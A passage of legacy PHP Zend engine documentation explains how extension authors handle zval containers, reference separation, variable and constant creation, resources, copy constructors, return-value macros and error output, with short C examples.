Entry | Description
value | Union containing this variable's contents. See Zend zvalue_value Structure for a description.
type | Contains this variable's type. For a list of available types, see Zend Variable Type Constants.
is_ref | 0 means that this variable is not a reference; 1 means that this variable is a reference to another variable.
refcount | The number of references that exist for this variable. For every new reference to the value stored in this variable, this counter is increased by 1. For every lost reference, this counter is decreased by 1. When the reference counter reaches 0, no references exist to this value anymore, which causes automatic freeing of the value.
Zend zvalue_value Structure
Entry | Description
lval | Use this property if the variable is of the type IS_LONG, IS_BOOLEAN, or IS_RESOURCE.
dval | Use this property if the variable is of the type IS_DOUBLE.
str | This structure can be used to access variables of the type IS_STRING. The member len contains the string length; the member val points to the string itself. Zend uses C strings; thus, the string length contains a trailing 0x00.
ht | This entry points to the variable's hash table entry if the variable is an array.
obj | Use this property if the variable is of the type IS_OBJECT.
Zend Variable Type Constants
Constant | Description
IS_NULL | Denotes a NULL (empty) value.
IS_LONG | A long (integer) value.
IS_DOUBLE | A double (floating point) value.
IS_STRING | A string.
IS_ARRAY | Denotes an array.
IS_OBJECT | An object.
IS_BOOL | A Boolean value.
IS_RESOURCE | A resource (for a discussion of resources, see the appropriate section below).
IS_CONSTANT | A constant (defined) value.

To access a long you access zval.value.lval, to access a double you use zval.value.dval, and so on. Because all values are stored in a union, trying to access data with incorrect union members results in meaningless output.

Accessing arrays and objects is a bit more complicated and is discussed later.

Dealing with Arguments Passed by Reference

If your function accepts arguments passed by reference that you intend to modify, you need to take some precautions.

What we didn't say yet is that under the circumstances presented so far, you don't have write access to any zval containers designating function parameters that have been passed to you. Of course, you can change any zval containers that you created within your function, but you mustn't change any zvals that refer to Zend-internal data!

We've only discussed the so-called *_ex() API so far. You may have noticed that the API functions we've used are called zend_get_parameters_ex() instead of zend_get_parameters(), convert_to_long_ex() instead of convert_to_long(), etc. The *_ex() functions form the so-called new "extended" Zend API. They give a minor speed increase over the old API, but as a tradeoff are only meant for providing read-only access.

Because Zend works internally with references, different variables may reference the same value. Write access to a zval container requires this container to contain an isolated value, meaning a value that's not referenced by any other containers. If a zval container were referenced by other containers and you changed the referenced zval, you would automatically change the contents of the other containers referencing this zval (because they'd simply point to the changed value and thus change their own value as well).

zend_get_parameters_ex() doesn't care about this situation, but simply returns a pointer to the desired zval containers, whether they consist of references or not. Its corresponding function in the traditional API, zend_get_parameters(), immediately checks for referenced values. If it finds a reference, it creates a new, isolated zval container; copies the referenced data into this newly allocated space; and then returns a pointer to the new, isolated value.

This action is called zval separation (or pval separation). Because the *_ex() API doesn't perform zval separation, it's considerably faster, while at the same time disabling write access.

To change parameters, however, write access is required. Zend deals with this situation in a special way: Whenever a parameter to a function is passed by reference, it performs automatic zval separation. This means that whenever you're calling a function like this in PHP, Zend will automatically ensure that $parameter is being passed as an isolated value, rendering it to a write-safe state:

my_function(&$parameter);

But this is not the case with regular parameters! All other parameters that are not passed by reference are in a read-only state.

This requires you to make sure that you're really working with a reference - otherwise you might produce unwanted results. To check for a parameter being passed by reference, you can use the macro PZVAL_IS_REF. This macro accepts a zval* to check if it is a reference or not. Examples are given in in Testing for referenced parameter passing..

Example #8 Testing for referenced parameter passing.

zval *parameter;

if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "z", &parameter) == FAILURE)
    return;

/* check for parameter being passed by reference */
if (!PZVAL_IS_REF(parameter)) {
{
    zend_error(E_WARNING, "Parameter wasn't passed by reference");
    RETURN_NULL();
}

/* make changes to the parameter */
ZVAL_LONG(parameter, 10);
Testing for referenced parameter passing

Assuring Write Safety for Other Parameters

You might run into a situation in which you need write access to a parameter that's retrieved with zend_get_parameters_ex() but not passed by reference. For this case, you can use the macro SEPARATE_ZVAL, which does a zval separation on the provided container. The newly generated zval is detached from internal data and has only a local scope, meaning that it can be changed or destroyed without implying global changes in the script context:

zval **parameter;

/* retrieve parameter */
zend_get_parameters_ex(1, &parameter);

/* at this stage, <parameter> still is connected */
/* to Zend's internal data buffers */

/* make <parameter> write-safe */
SEPARATE_ZVAL(parameter);

/* now we can safely modify <parameter> */
/* without implying global changes */
SEPARATE_ZVAL uses emalloc() to allocate the new zval container, which means that even if you don't deallocate this memory yourself, it will be destroyed automatically upon script termination. However, doing a lot of calls to this macro without freeing the resulting containers will clutter up your RAM.

Note: As you can easily work around the lack of write access in the "traditional" API (with zend_get_parameters() and so on), this API seems to be obsolete, and is not discussed further in this chapter.

Creating Variables

When exchanging data from your own extensions with PHP scripts, one of the most important issues is the creation of variables. This section shows you how to deal with the variable types that PHP supports.

Overview

To create new variables that can be seen "from the outside" by the executing script, you need to allocate a new zval container, fill this container with meaningful values, and then introduce it to Zend's internal symbol table. This basic process is common to all variable creations:

zval *new_variable;

/* allocate and initialize new container */
MAKE_STD_ZVAL(new_variable);

/* set type and variable contents here, see the following sections */

/* introduce this variable by the name "new_variable_name" into the symbol table */
ZEND_SET_SYMBOL(EG(active_symbol_table), "new_variable_name", new_variable);

/* the variable is now accessible to the script by using $new_variable_name */

The macro MAKE_STD_ZVAL allocates a new zval container using ALLOC_ZVAL and initializes it using INIT_ZVAL. As implemented in Zend at the time of this writing, initializing means setting the reference count to 1 and clearing the is_ref flag, but this process could be extended later - this is why it's a good idea to keep using MAKE_STD_ZVAL instead of only using ALLOC_ZVAL. If you want to optimize for speed (and you don't have to explicitly initialize the zval container here), you can use ALLOC_ZVAL, but this isn't recommended because it doesn't ensure data integrity.

ZEND_SET_SYMBOL takes care of introducing the new variable to Zend's symbol table. This macro checks whether the value already exists in the symbol table and converts the new symbol to a reference if so (with automatic deallocation of the old zval container). This is the preferred method if speed is not a crucial issue and you'd like to keep memory usage low.

Note that ZEND_SET_SYMBOL makes use of the Zend executor globals via the macro EG. By specifying EG(active_symbol_table), you get access to the currently active symbol table, dealing with the active, local scope. The local scope may differ depending on whether the function was invoked from within a function.

If you need to optimize for speed and don't care about optimal memory usage, you can omit the check for an existing variable with the same value and instead force insertion into the symbol table by using zend_hash_update():

zval *new_variable;

/* allocate and initialize new container */
MAKE_STD_ZVAL(new_variable);

/* set type and variable contents here, see the following sections */

/* introduce this variable by the name "new_variable_name" into the symbol table */
zend_hash_update(
    EG(active_symbol_table),
    "new_variable_name",
    strlen("new_variable_name") + 1,
    &new_variable,
    sizeof(zval *),
    NULL
);
This is actually the standard method used in most modules.

The variables generated with the snippet above will always be of local scope, so they reside in the context in which the function has been called. To create new variables in the global scope, use the same method but refer to another symbol table:

zval *new_variable;

// allocate and initialize new container
MAKE_STD_ZVAL(new_variable);

//
// set type and variable contents here
//

// introduce this variable by the name "new_variable_name" into the global symbol table
ZEND_SET_SYMBOL(&EG(symbol_table), "new_variable_name", new_variable);
The macro ZEND_SET_SYMBOL is now being called with a reference to the main, global symbol table by referring EG(symbol_table).

Note: The active_symbol_table variable is a pointer, but symbol_table is not. This is why you have to use EG(active_symbol_table) and &EG(symbol_table) as parameters to ZEND_SET_SYMBOL - it requires a pointer.

Similarly, to get a more efficient version, you can hardcode the symbol table update:

zval *new_variable;

// allocate and initialize new container
MAKE_STD_ZVAL(new_variable);

//
// set type and variable contents here
//

// introduce this variable by the name "new_variable_name" into the global symbol table
zend_hash_update(
    &EG(symbol_table),
    "new_variable_name",
    strlen("new_variable_name") + 1,
    &new_variable,
    sizeof(zval *),
    NULL
);
Creating variables with different scopes. shows a sample source that creates two variables - local_variable with a local scope and global_variable with a global scope (see Figure 9.7). The full example can be found on the CD-ROM.

Note: You can see that the global variable is actually not accessible from within the function. This is because it's not imported into the local scope using global $global_variable; in the PHP source.

Example #9 Creating variables with different scopes.

ZEND_FUNCTION(variable_creation)
{
    zval *new_var1, *new_var2;

    MAKE_STD_ZVAL(new_var1);
    MAKE_STD_ZVAL(new_var2);

    ZVAL_LONG(new_var1, 10);
    ZVAL_LONG(new_var2, 5);

    ZEND_SET_SYMBOL(EG(active_symbol_table), "local_variable", new_var1);
    ZEND_SET_SYMBOL(&EG(symbol_table), "global_variable", new_var2);

    RETURN_NULL();

}
Creating variables with different scopes

Longs (Integers)

Now let's get to the assignment of data to variables, starting with longs. Longs are PHP's integers and are very simple to store. Looking at the zval.value container structure discussed earlier in this chapter, you can see that the long data type is directly contained in the union, namely in the lval field. The corresponding type value for longs is IS_LONG (see Creation of a long.).

Example #10 Creation of a long.

zval *new_long;

MAKE_STD_ZVAL(new_long);

new_long-&gt;type = IS_LONG;
new_long-&gt;value.lval = 10;
Alternatively, you can use the macro ZVAL_LONG:
zval *new_long;

MAKE_STD_ZVAL(new_long);
ZVAL_LONG(new_long, 10);

Doubles (Floats)

Doubles are PHP's floats and are as easy to assign as longs, because their value is also contained directly in the union. The member in the zval.value container is dval; the corresponding type is IS_DOUBLE.

zval *new_double;

MAKE_STD_ZVAL(new_double);

new_double-&gt;type = IS_DOUBLE;
new_double-&gt;value.dval = 3.45;
Alternatively, you can use the macro ZVAL_DOUBLE:
zval *new_double;

MAKE_STD_ZVAL(new_double);
ZVAL_DOUBLE(new_double, 3.45);

Strings

Strings need slightly more effort. As mentioned earlier, all strings that will be associated with Zend's internal data structures need to be allocated using Zend's own memory-management functions. Referencing of static strings or strings allocated with standard routines is not allowed. To assign strings, you have to access the structure str in the zval.value container. The corresponding type is IS_STRING:

zval *new_string;
char *string_contents = "This is a new string variable";

MAKE_STD_ZVAL(new_string);

new_string-&gt;type = IS_STRING;
new_string-&gt;value.str.len = strlen(string_contents);
new_string-&gt;value.str.val = estrdup(string_contents);
Note the usage of Zend's estrdup() here. Of course, you can also use the predefined macro ZVAL_STRING:
zval *new_string;
char *string_contents = "This is a new string variable";

MAKE_STD_ZVAL(new_string);
ZVAL_STRING(new_string, string_contents, 1);
ZVAL_STRING accepts a third parameter that indicates whether the supplied string contents should be duplicated (using estrdup()). Setting this parameter to 1 causes the string to be duplicated; 0 simply uses the supplied pointer for the variable contents. This is most useful if you want to create a new variable referring to a string that's already allocated in Zend internal memory.

If you want to truncate the string at a certain position or you already know its length, you can use ZVAL_STRINGL(zval, string, length, duplicate), which accepts an explicit string length to be set for the new string. This macro is faster than ZVAL_STRING and also binary-safe.

To create empty strings, set the string length to 0 and use empty_string as contents:

new_string-&gt;type = IS_STRING;
new_string-&gt;value.str.len = 0;
new_string-&gt;value.str.val = empty_string;
Of course, there's a macro for this as well (ZVAL_EMPTY_STRING):
MAKE_STD_ZVAL(new_string);
ZVAL_EMPTY_STRING(new_string);

Booleans

Booleans are created just like longs, but have the type IS_BOOL. Allowed values in lval are 0 and 1:

zval *new_bool;

MAKE_STD_ZVAL(new_bool);

new_bool-&gt;type = IS_BOOL;
new_bool-&gt;value.lval = 1;
The corresponding macros for this type are ZVAL_BOOL (allowing specification of the value) as well as ZVAL_TRUE and ZVAL_FALSE (which explicitly set the value to TRUE and FALSE, respectively).

Arrays

Arrays are stored using Zend's internal hash tables, which can be accessed using the zend_hash_*() API. For every array that you want to create, you need a new hash table handle, which will be stored in the ht member of the zval.value container.

There's a whole API solely for the creation of arrays, which is extremely handy. To start a new array, you call array_init().

zval *new_array;

MAKE_STD_ZVAL(new_array);

array_init(new_array);
array_init() always returns SUCCESS.

To add new elements to the array, you can use numerous functions, depending on what you want to do. Zend's API for Associative Arrays, Zend's API for Indexed Arrays, Part 1 and Zend's API for Indexed Arrays, Part 2 describe these functions. All functions return FAILURE on failure and SUCCESS on success.

Zend's API for Associative Arrays
Function | Description
add_assoc_long(zval *array, char *key, long n);() | Adds an element of type long.
add_assoc_unset(zval *array, char *key);() | Adds an unset element.
add_assoc_bool(zval *array, char *key, int b);() | Adds a Boolean element.
add_assoc_resource(zval *array, char *key, int r);() | Adds a resource to the array.
add_assoc_double(zval *array, char *key, double d);() | Adds a floating-point value.
add_assoc_string(zval *array, char *key, char *str, int duplicate);() | Adds a string to the array. The flag duplicate specifies whether the string contents have to be copied to Zend internal memory.
add_assoc_stringl(zval *array, char *key, char *str, uint length, int duplicate); () | Adds a string with the desired length length to the array. Otherwise, behaves like add_assoc_string().
add_assoc_zval(zval *array, char *key, zval *value);() | Adds a zval to the array. Useful for adding other arrays, objects, streams, etc...
Zend's API for Indexed Arrays, Part 1
Function | Description
add_index_long(zval *array, uint idx, long n);() | Adds an element of type long.
add_index_unset(zval *array, uint idx);() | Adds an unset element.
add_index_bool(zval *array, uint idx, int b);() | Adds a Boolean element.
add_index_resource(zval *array, uint idx, int r);() | Adds a resource to the array.
add_index_double(zval *array, uint idx, double d);() | Adds a floating-point value.
add_index_string(zval *array, uint idx, char *str, int duplicate);() | Adds a string to the array. The flag duplicate specifies whether the string contents have to be copied to Zend internal memory.
add_index_stringl(zval *array, uint idx, char *str, uint length, int duplicate);() | Adds a string with the desired length length to the array. This function is faster and binary-safe. Otherwise, behaves like add_index_string().
add_index_zval(zval *array, uint idx, zval *value);() | Adds a zval to the array. Useful for adding other arrays, objects, streams, etc...
Zend's API for Indexed Arrays, Part 2
Function | Description
add_next_index_long(zval *array, long n);() | Adds an element of type long.
add_next_index_unset(zval *array);() | Adds an unset element.
add_next_index_bool(zval *array, int b);() | Adds a Boolean element.
add_next_index_resource(zval *array, int r);() | Adds a resource to the array.
add_next_index_double(zval *array, double d);() | Adds a floating-point value.
add_next_index_string(zval *array, char *str, int duplicate);() | Adds a string to the array. The flag duplicate specifies whether the string contents have to be copied to Zend internal memory.
add_next_index_stringl(zval *array, char *str, uint length, int duplicate);() | Adds a string with the desired length length to the array. This function is faster and binary-safe. Otherwise, behaves like add_index_string().
add_next_index_zval(zval *array, zval *value);() | Adds a zval to the array. Useful for adding other arrays, objects, streams, etc...

All these functions provide a handy abstraction to Zend's internal hash API. Of course, you can also use the hash functions directly - for example, if you already have a zval container allocated that you want to insert into an array. This is done using zend_hash_update() for associative arrays (see Adding an element to an associative array.) and zend_hash_index_update() for indexed arrays (see Adding an element to an indexed array.):

Example #11 Adding an element to an associative array.

zval *new_array, *new_element;
char *key = "element_key";

MAKE_STD_ZVAL(new_array);
MAKE_STD_ZVAL(new_element);

array_init(new_array);

ZVAL_LONG(new_element, 10);

if(zend_hash_update(new_array-&gt;value.ht, key, strlen(key) + 1, (void *)&new_element, sizeof(zval *), NULL) == FAILURE)
{
    // do error handling here
}

Example #12 Adding an element to an indexed array.

zval *new_array, *new_element;
int key = 2;

MAKE_STD_ZVAL(new_array);
MAKE_STD_ZVAL(new_element);

array_init(new_array);

ZVAL_LONG(new_element, 10);

if(zend_hash_index_update(new_array-&gt;value.ht, key, (void *)&new_element, sizeof(zval *), NULL) == FAILURE)
{
    // do error handling here
}

To emulate the functionality of add_next_index_*(), you can use this:

zend_hash_next_index_insert(ht, zval **new_element, sizeof(zval *), NULL)

Note: To return arrays from a function, use array_init() and all following actions on the predefined variable return_value (given as argument to your exported function; see the earlier discussion of the call interface). You do not have to use MAKE_STD_ZVAL on this.

Tip: To avoid having to write new_array->value.ht every time, you can use HASH_OF(new_array), which is also recommended for compatibility and style reasons.

Objects

Since objects can be converted to arrays (and vice versa), you might have already guessed that they have a lot of similarities to arrays in PHP. Objects are maintained with the same hash functions, but there's a different API for creating them.

To initialize an object, you use the function object_init():

zval *new_object;

MAKE_STD_ZVAL(new_object);

if(object_init(new_object) != SUCCESS)
{
    // do error handling here
}
You can use the functions described in Zend's API for Object Creation to add members to your object.

Zend's API for Object Creation
Function | Description
add_property_long(zval *object, char *key, long l);() | Adds a long to the object.
add_property_unset(zval *object, char *key);() | Adds an unset property to the object.
add_property_bool(zval *object, char *key, int b);() | Adds a Boolean to the object.
add_property_resource(zval *object, char *key, long r);() | Adds a resource to the object.
add_property_double(zval *object, char *key, double d);() | Adds a double to the object.
add_property_string(zval *object, char *key, char *str, int duplicate);() | Adds a string to the object.
add_property_stringl(zval *object, char *key, char *str, uint length, int duplicate);() | Adds a string of the specified length to the object. This function is faster than add_property_string() and also binary-safe.
add_property_zval(zval *obect, char *key, zval *container):() | Adds a zval container to the object. This is useful if you have to add properties which aren't simple types like integers or strings but arrays or other objects.

Resources

Resources are a special kind of data type in PHP. The term resources doesn't really refer to any special kind of data, but to an abstraction method for maintaining any kind of information. Resources are kept in a special resource list within Zend. Each entry in the list has a correspondending type definition that denotes the kind of resource to which it refers. Zend then internally manages all references to this resource. Access to a resource is never possible directly - only via a provided API. As soon as all references to a specific resource are lost, a corresponding shutdown function is called.

For example, resources are used to store database links and file descriptors. The de facto standard implementation can be found in the MySQL module, but other modules such as the Oracle module also make use of resources.

Note:

In fact, a resource can be a pointer to anything you need to handle in your functions (e.g. pointer to a structure) and the user only has to pass a single resource variable to your function.

To create a new resource you need to register a resource destruction handler for it. Since you can store any kind of data as a resource, Zend needs to know how to free this resource if its not longer needed. This works by registering your own resource destruction handler to Zend which in turn gets called by Zend whenever your resource can be freed (whether manually or automatically). Registering your resource handler within Zend returns you the resource type handle for that resource. This handle is needed whenever you want to access a resource of this type later and is most of time stored in a global static variable within your extension. There is no need to worry about thread safety here because you only register your resource handler once during module initialization.

The Zend function to register your resource handler is defined as:

ZEND_API int zend_register_list_destructors_ex(rsrc_dtor_func_t ld, rsrc_dtor_func_t pld, char *type_name, int module_number);

There are two different kinds of resource destruction handlers you can pass to this function: a handler for normal resources and a handler for persistent resources. Persistent resources are for example used for database connection. When registering a resource, either of these handlers must be given. For the other handler just pass NULL.

zend_register_list_destructors_ex() accepts the following parameters:

ld | Normal resource destruction handler callback
pld | Pesistent resource destruction handler callback
type_name | A string specifying the name of your resource. It's always a good thing to specify a unique name within PHP for the resource type so when the user for example calls var_dump($resource); he also gets the name of the resource.
module_number | The module_number is automatically available in your PHP_MINIT_FUNCTION function and therefore you just pass it over.
The return value is a unique integer ID for your resource type.

The resource destruction handler (either normal or persistent resources) has the following prototype:

void resource_destruction_handler(zend_rsrc_list_entry *rsrc TSRMLS_DC);
The passed rsrc is a pointer to the following structure:
typedef struct _zend_rsrc_list_entry {

    void *ptr;
    int type;
    int refcount;

} zend_rsrc_list_entry;
The member void *ptr is the actual pointer to your resource.

Now we know how to start things, we define our own resource we want register within Zend. It is only a simple structure with two integer members:

typedef struct {

    int resource_link;
    int resource_type;

} my_resource;
Our resource destruction handler is probably going to look something like this:
void my_destruction_handler(zend_rsrc_list_entry *rsrc TSRMLS_DC) {

    // You most likely cast the void pointer to your structure type

    my_resource *my_rsrc = (my_resource *) rsrc->ptr;

    // Now do whatever needs to be done with you resource. Closing
    // Files, Sockets, freeing additional memory, etc.
    // Also, don't forget to actually free the memory for your resource too!

    do_whatever_needs_to_be_done_with_the_resource(my_rsrc);
}

Note:

One important thing to mention: If your resource is a rather complex structure which also contains pointers to memory you allocated during runtime you have to free them before freeing the resource itself!

Now that we have defined

  1. what our resource is and

  2. our resource destruction handler

we can go on and do the rest of the steps:

  1. create a global variable within the extension holding the resource ID so it can be accessed from every function which needs it

  2. define the resource name

  3. write the resource destruction handler

  4. and finally register the handler

// Somewhere in your extension, define the variable for your registered resources.
    // If you wondered what 'le' stands for: it simply means 'list entry'.
    static int le_myresource;

    // It's nice to define your resource name somewhere
    #define le_myresource_name  "My type of resource"

    [...]

    // Now actually define our resource destruction handler
    void my_destruction_handler(zend_rsrc_list_entry *rsrc TSRMLS_DC) {

        my_resource *my_rsrc = (my_resource *) rsrc->ptr;
        do_whatever_needs_to_be_done_with_the_resource(my_rsrc);
    }

    [...]

    PHP_MINIT_FUNCTION(my_extension) {

        // Note that 'module_number' is already provided through the
        // PHP_MINIT_FUNCTION() function definition.

        le_myresource = zend_register_list_destructors_ex(my_destruction_handler, NULL, le_myresource_name, module_number);

        // You can register additional resources, initialize
        // your global vars, constants, whatever.
    }

To actually register a new resource you use can either use the zend_register_resource() function or the ZEND_REGISTER_RESOURE() macro, both defined in zend_list.h. Although the arguments for both map 1:1 it's a good idea to always use macros to be upwards compatible:

int ZEND_REGISTER_RESOURCE(zval *rsrc_result, void *rsrc_pointer, int rsrc_type);
rsrc_result | This is an already initialized zval * container.
rsrc_pointer | Your resource pointer you want to store.
rsrc_type | The type which you received when you registered the resource destruction handler. If you followed the naming scheme this would be le_myresource.
The return value is a unique integer identifier for that resource.

What is really going on when you register a new resource is it gets inserted in an internal list in Zend and the result is just stored in the given zval * container:

rsrc_id = zend_list_insert(rsrc_pointer, rsrc_type);

    if (rsrc_result) {
        rsrc_result->value.lval = rsrc_id;
        rsrc_result->type = IS_RESOURCE;
    }

    return rsrc_id;
The returned rsrc_id uniquely identifies the newly registered resource. You can use the macro RETURN_RESOURE to return it to the user:
    RETURN_RESOURCE(rsrc_id)

Note:

It is common practice that if you want to return the resource immediately to the user you specify the return_value as the zval * container.

Zend now keeps track of all references to this resource. As soon as all references to the resource are lost, the destructor that you previously registered for this resource is called. The nice thing about this setup is that you don't have to worry about memory leakages introduced by allocations in your module - just register all memory allocations that your calling script will refer to as resources. As soon as the script decides it doesn't need them anymore, Zend will find out and tell you.

Now that the user got his resource, at some point he is passing it back to one of your functions. The value.lval inside the zval * container contains the key to your resource and thus can be used to fetch the resource with the following macro: ZEND_FETCH_RESOURCE:

ZEND_FETCH_RESOURCE(rsrc, rsrc_type, rsrc_id, default_rsrc_id, resource_type_name, resource_type)
rsrc | This is your pointer which will point to your previously registered resource.
rsrc_type | This is the typecast argument for your pointer, e.g. myresource *.
rsrc_id | This is the address of the zval *container the user passed to your function, e.g. &z_resource if zval *z_resource is given.
default_rsrc_id | This integer specifies the default resource ID if no resource could be fetched or -1.
resource_type_name | This is the name of the requested resource. It's a string and is used when the resource can't be found or is invalid to form a meaningful error message.
resource_type | The resource_type you got back when registering the resource destruction handler. In our example this was le_myresource.
This macro has no return value. It is for the developers convenience and takes care of TSRMLS arguments passing and also does check if the resource could be fetched. It throws a warning message and returns the current PHP function with NULL if there was a problem retrieving the resource.

To force removal of a resource from the list, use the function zend_list_delete(). You can also force the reference count to increase if you know that you're creating another reference for a previously allocated value (for example, if you're automatically reusing a default database link). For this case, use the function zend_list_addref(). To search for previously allocated resource entries, use zend_list_find(). The complete API can be found in zend_list.h.

Macros for Automatic Global Variable Creation

In addition to the macros discussed earlier, a few macros allow easy creation of simple global variables. These are nice to know in case you want to introduce global flags, for example. This is somewhat bad practice, but Table Macros for Global Variable Creation describes macros that do exactly this task. They don't need any zval allocation; you simply have to supply a variable name and value.

Macros for Global Variable Creation
Macro | Description
SET_VAR_STRING(name, value) | Creates a new string.
SET_VAR_STRINGL(name, value, length) | Creates a new string of the specified length. This macro is faster than SET_VAR_STRING and also binary-safe.
SET_VAR_LONG(name, value) | Creates a new long.
SET_VAR_DOUBLE(name, value) | Creates a new double.

Creating Constants

Zend supports the creation of true constants (as opposed to regular variables). Constants are accessed without the typical dollar sign ($) prefix and are available in all scopes. Examples include TRUE and FALSE, to name just two.

To create your own constants, you can use the macros in Macros for Creating Constants. All the macros create a constant with the specified name and value.

You can also specify flags for each constant:

  • CONST_CS - This constant's name is to be treated as case sensitive.

  • CONST_PERSISTENT - This constant is persistent and won't be "forgotten" when the current process carrying this constant shuts down.

To use the flags, combine them using a inary OR:
 // register a new constant of type "long"
     REGISTER_LONG_CONSTANT("NEW_MEANINGFUL_CONSTANT", 324, CONST_CS |
     CONST_PERSISTENT);
There are two types of macros - REGISTER_*_CONSTANT andREGISTER_MAIN_*_CONSTANT. The first type creates constants bound to the current module. These constants are dumped from the symbol table as soon as the module that registered the constant is unloaded from memory. The second type creates constants that remain in the symbol table independently of the module.

Macros for Creating Constants
Macro | Description
REGISTER_LONG_CONSTANT(name, value, flags) REGISTER_MAIN_LONG_CONSTANT(name, value, flags) | Registers a new constant of type long.
REGISTER_DOUBLE_CONSTANT(name, value, flags) REGISTER_MAIN_DOUBLE_CONSTANT(name, value, flags) | Registers a new constant of type double.
REGISTER_STRING_CONSTANT(name, value, flags) REGISTER_MAIN_STRING_CONSTANT(name, value, flags) | Registers a new constant of type string. The specified string must reside in Zend's internal memory.
REGISTER_STRINGL_CONSTANT(name, value, length, flags) REGISTER_MAIN_STRINGL_CONSTANT(name, value, length, flags) | Registers a new constant of type string. The string length is explicitly set to length. The specified string must reside in Zend's internal memory.

Duplicating Variable Contents: The Copy Constructor

Sooner or later, you may need to assign the contents of one zval container to another. This is easier said than done, since the zval container doesn't contain only type information, but also references to places in Zend's internal data. For example, depending on their size, arrays and objects may be nested with lots of hash table entries. By assigning one zval to another, you avoid duplicating the hash table entries, using only a reference to them (at most).

To copy this complex kind of data, use the copy constructor. Copy constructors are typically defined in languages that support operator overloading, with the express purpose of copying complex types. If you define an object in such a language, you have the possibility of overloading the "=" operator, which is usually responsible for assigning the contents of the rvalue (result of the evaluation of the right side of the operator) to the lvalue (same for the left side).

Overloading means assigning a different meaning to this operator, and is usually used to assign a function call to an operator. Whenever this operator would be used on such an object in a program, this function would be called with the lvalue and rvalue as parameters. Equipped with that information, it can perform the operation it intends the "=" operator to have (usually an extended form of copying).

This same form of "extended copying" is also necessary for PHP's zval containers. Again, in the case of an array, this extended copying would imply re-creation of all hash table entries relating to this array. For strings, proper memory allocation would have to be assured, and so on.

Zend ships with such a function, called zend_copy_ctor() (the previous PHP equivalent was pval_copy_constructor()).

A most useful demonstration is a function that accepts a complex type as argument, modifies it, and then returns the argument:

zval *parameter;

if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "z", &parameter) == FAILURE)
   return;
}

// do modifications to the parameter here

// now we want to return the modified container:
*return_value = *parameter;
zval_copy_ctor(return_value);

The first part of the function is plain-vanilla argument retrieval. After the (left out) modifications, however, it gets interesting: The container of parameter is assigned to the (predefined) return_value container. Now, in order to effectively duplicate its contents, the copy constructor is called. The copy constructor works directly with the supplied argument, and the standard return values are FAILURE on failure and SUCCESS on success.

If you omit the call to the copy constructor in this example, both parameter and return_value would point to the same internal data, meaning that return_value would be an illegal additional reference to the same data structures. Whenever changes occurred in the data that parameter points to, return_value might be affected. Thus, in order to create separate copies, the copy constructor must be used.

The copy constructor's counterpart in the Zend API, the destructor zval_dtor(), does the opposite of the constructor.

Returning Values

Returning values from your functions to PHP was described briefly in an earlier section; this section gives the details. Return values are passed via the return_value variable, which is passed to your functions as argument. The return_value argument consists of a zval container (see the earlier discussion of the call interface) that you can freely modify. The container itself is already allocated, so you don't have to run MAKE_STD_ZVAL on it. Instead, you can access its members directly.

To make returning values from functions easier and to prevent hassles with accessing the internal structures of the zval container, a set of predefined macros is available (as usual). These macros automatically set the correspondent type and value, as described in Predefined Macros for Returning Values from a Function and Predefined Macros for Setting the Return Value of a Function.

Note:

The macros in Predefined Macros for Returning Values from a Function automatically return from your function, those in Predefined Macros for Setting the Return Value of a Function only set the return value; they don't return from your function.

Predefined Macros for Returning Values from a Function
Macro | Description
RETURN_RESOURCE(resource) | Returns a resource.
RETURN_BOOL(bool) | Returns a Boolean.
RETURN_NULL() | Returns nothing (a NULL value).
RETURN_LONG(long) | Returns a long.
RETURN_DOUBLE(double) | Returns a double.
RETURN_STRING(string, duplicate) | Returns a string. The duplicate flag indicates whether the string should be duplicated using estrdup().
RETURN_STRINGL(string, length, duplicate) | Returns a string of the specified length; otherwise, behaves like RETURN_STRING. This macro is faster and binary-safe, however.
RETURN_EMPTY_STRING() | Returns an empty string.
RETURN_FALSE | Returns Boolean false.
RETURN_TRUE | Returns Boolean true.
Predefined Macros for Setting the Return Value of a Function
Macro | Description
RETVAL_RESOURCE(resource) | Sets the return value to the specified resource.
RETVAL_BOOL(bool) | Sets the return value to the specified Boolean value.
RETVAL_NULL | Sets the return value to NULL.
RETVAL_LONG(long) | Sets the return value to the specified long.
RETVAL_DOUBLE(double) | Sets the return value to the specified double.
RETVAL_STRING(string, duplicate) | Sets the return value to the specified string and duplicates it to Zend internal memory if desired (see also RETURN_STRING).
RETVAL_STRINGL(string, length, duplicate) | Sets the return value to the specified string and forces the length to become length (see also RETVAL_STRING). This macro is faster and binary-safe, and should be used whenever the string length is known.
RETVAL_EMPTY_STRING | Sets the return value to an empty string.
RETVAL_FALSE | Sets the return value to Boolean false.
RETVAL_TRUE | Sets the return value to Boolean true.

Complex types such as arrays and objects can be returned by using array_init() and object_init(), as well as the corresponding hash functions on return_value. Since these types cannot be constructed of trivial information, there are no predefined macros for them.

Printing Information

Often it's necessary to print messages to the output stream from your module, just as print would be used within a script. PHP offers functions for most generic tasks, such as printing warning messages, generating output for phpinfo(), and so on. The following sections provide more details. Examples of these functions can be found on the CD-ROM.

zend_printf()

zend_printf() works like the standard printf(), except that it prints to Zend's output stream.

zend_error()

zend_error() can be used to generate error messages. This function accepts two arguments; the first is the error type (see zend_errors.h), and the second is the error message.

zend_error(E_WARNING, "This function has been called with empty arguments");
Zend's Predefined Error Messages. shows a list of possible values (see below). These values are also referred to in php.ini. Depending on which error type you choose, your messages will be logged.
Zend's Predefined Error Messages.
Error | Description
E_ERROR | Signals an error and terminates execution of the script immediately.
E_WARNING | Signals a generic warning. Execution continues.
E_PARSE | Signals a parser error. Execution continues.
E_NOTICE | Signals a notice. Execution continues. Note that by default the display of this type of error messages is turned off in php.ini.
E_CORE_ERROR | Internal error by the core; shouldn't be used by user-written modules.
E_COMPILE_ERROR | Internal error by the compiler; shouldn't be used by user-written modules.
E_COMPILE_WARNING | Internal warning by the compiler; shouldn't be used by user-written modules.
Display of warning messages in the browser.

Including Output in phpinfo()

After creating a real module, you'll want to show information about the module in phpinfo() (in addition to the module name, which appears in the module list by default). PHP allows you to create your own section in the phpinfo() output with the ZEND_MINFO() function. This function should be placed in the module descriptor block (discussed earlier) and is always called whenever a script calls phpinfo().

PHP automatically prints a section in phpinfo() for you if you specify the ZEND_MINFO function, including the module name in the heading. Everything else must be formatted and printed by you.

Typically, you can print an HTML table header using php_info_print_table_start() and then use the standard functions php_info_print_table_header() and php_info_print_table_row(). As arguments, both take the number of columns (as integers) and the column contents (as strings). Source code and screenshot for output in phpinfo. shows a source example and its output. To print the table footer, use php_info_print_table_end().
